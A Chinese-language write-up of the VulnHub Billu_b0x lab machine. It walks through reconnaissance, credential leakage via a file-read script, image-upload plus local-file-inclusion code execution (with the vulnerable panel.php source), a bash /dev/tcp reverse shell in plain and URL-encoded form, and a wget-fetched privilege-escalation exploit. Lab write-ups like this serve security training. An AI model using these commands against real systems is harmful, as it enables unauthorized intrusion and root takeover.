vulnhub-Billu_b0x

发布时间 2023-10-17 22:38:39作者: 介怀

十一周

信息搜集

arp-scan -l

image-20231017222709906

找到主机

扫描一下服务

nmap -p- 192.168.88.134

image-20231017222941725

访问一下80端口

image-20230419193624904

扫描一下目录

dirsearch -u  http://192.168.88.134 

image-20230419193744198

扫到挺多东西的

逐个访问一下

image-20230419193832941

image-20230419193944338

image-20230419194015702

image-20230419194104962

目前来看有一个phpmyadmin和一个add.php有用

试一下弱口令和注入webshell

发现都没用

从test.php入手

image-20230419200141948

用post传一个file的参数给他

image-20230419200717016

发现将c.php文件下载下来了

审计一下c.php

image-20230419200339435

发现一个mysql的来凝结密码

尝试在phpmyadmin界面输入登录

image-20230419200442612

发现登录成功

image-20230419200754362

在auth表中发现新用户

猜测可能是首页的登录账户

image-20230419200911874

发现登录成功

image-20230419201057971

发现一个上马的地址,发现只有图片能上传

image-20230419201943246

上传成功

将panel.php下载进行代码审计,发现load参数可以包含除add和show之外的任何文件

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
		header('Location: index.php', true, 302);
		exit();
	
}



echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
	unset($_SESSION['logged']);
	unset($_SESSION['admin']);
	header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
	<option value="add">Add User</option>
</select> 

 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}


if(isset($_POST['upload']))
{
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							  
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";
		
	}
}


}

?>

暂时先将这个放一边

下载passwd

image-20230419204031078

然后利用之前的上传漏洞

image-20230419205423314

接下来在URL的post请求中加入/panel.php?cmd=ls,正文中加入load=uploaded_images/11.jpg&continue=continue

成功遍历到当前文件夹

可以看到命令已经成功执行,接下来就是反弹shell

kali命令行里输入nc -lvnp 4444开始监听,同时请求中执行echo “bash -i >& /dev/tcp/192.168.88.128/4444 0>&1” | bash,注意要将此命令先经过URL编码才能发送
编码后:
%65%63%68%6f%20%1c%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%38%38%2e%31%32%38%2f%34%34%34%34%20%30%3e%26%31%1d%20%7c%20%62%61%73%68

image-20230419205700802

image-20230419205813744

image-20230419210654071

image-20230419210642811

image-20230419210628353

反弹shell成功

python -m http.server 80

起一个服务

wget http://192.168.88.128/exp

得到exp(记得在),

./exp

提权成功

法二:

  • 看到phpmy这个目录在这个权限下,直接进入这目录,因为目录有个配置文件保存这ssh登录的密码-是root权限,所以直接su root,提权成功。